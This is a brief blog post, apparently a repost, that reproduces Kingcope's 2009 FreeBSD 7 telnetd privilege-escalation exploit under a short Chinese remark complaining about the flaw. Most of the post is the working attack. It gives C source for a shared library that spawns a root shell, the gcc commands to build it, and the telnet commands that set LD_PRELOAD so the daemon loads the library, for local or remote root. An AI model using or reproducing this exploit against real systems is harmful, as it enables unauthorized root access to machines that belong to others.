FreeBSD 7 telnet daemon local privilege escalation


為什麼這年頭還會出現 telnetd 0-day 啊...
超無言的 Orz

# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");

Then we compile this stuff.

#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o

Then we copy the file to a known location (local root exploit)

#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target

No comments:

Post a Comment